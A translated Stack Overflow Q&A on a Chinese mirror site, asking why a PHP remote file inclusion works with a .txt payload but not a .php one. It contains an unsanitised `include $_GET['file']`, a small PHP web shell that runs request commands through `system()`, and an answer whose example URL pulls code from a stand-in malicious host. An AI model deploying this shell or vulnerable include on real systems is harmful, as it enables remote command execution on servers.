首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >问答首页 >为什么php与.txt一起工作,而对.php不起作用?

为什么php与.txt一起工作,而对.php不起作用?
EN

Stack Overflow用户
提问于 2020-10-17 02:01:40
回答 1查看 289关注 0票数 0

后端:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php $file = $_GET["file"];
      include $file; ?>

bad.txt bad.php CONTENT:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

第一次尝试:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://<IP>/bad.php?cmd=ipconfig

第二次尝试:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://<IP>/bad.txt?cmd=ipconfig

为什么第二次尝试成功了,而第一次失败了?

EN

回答 1

Stack Overflow用户

发布于 2020-10-17 18:23:50

我根据您给出的信息做了一两个假设,但这通常是问题所在--当您从具有.php扩展名的服务器请求文件时,脚本将在您请求包含的主机服务器上运行。因此,所包含的是宿主服务器上PHP脚本的输出,而不是内容。但是,通过.txt扩展,宿主服务器将其作为文本处理,并只提供原始的PHP代码。此代码包含在易受攻击的PHP页面中,恶意代码在受影响的站点上运行。

换句话说,如果您请求https://vulnsite.com/rfi.php?file=https://malicioussite.com/evil.php,那么evil.php将在malicioussite.com上运行,输出将返回并包含在vulnsite.com上的rfi.php页面中。如果您使用evil.txt,那么原始的PHP代码将被发送到易受攻击的站点,包括在脚本中,并按您的意愿执行。

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/64593614

复制
相关文章

相似问题

添加站长 进交流群

领取专属 10元无门槛券

AI混元助手 在线答疑

扫码加入开发者社群
关注 腾讯云开发者公众号

洞察 腾讯核心技术

剖析业界实践案例

扫码关注腾讯云开发者公众号
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
查看详情【社区公告】 技术创作特训营有奖征文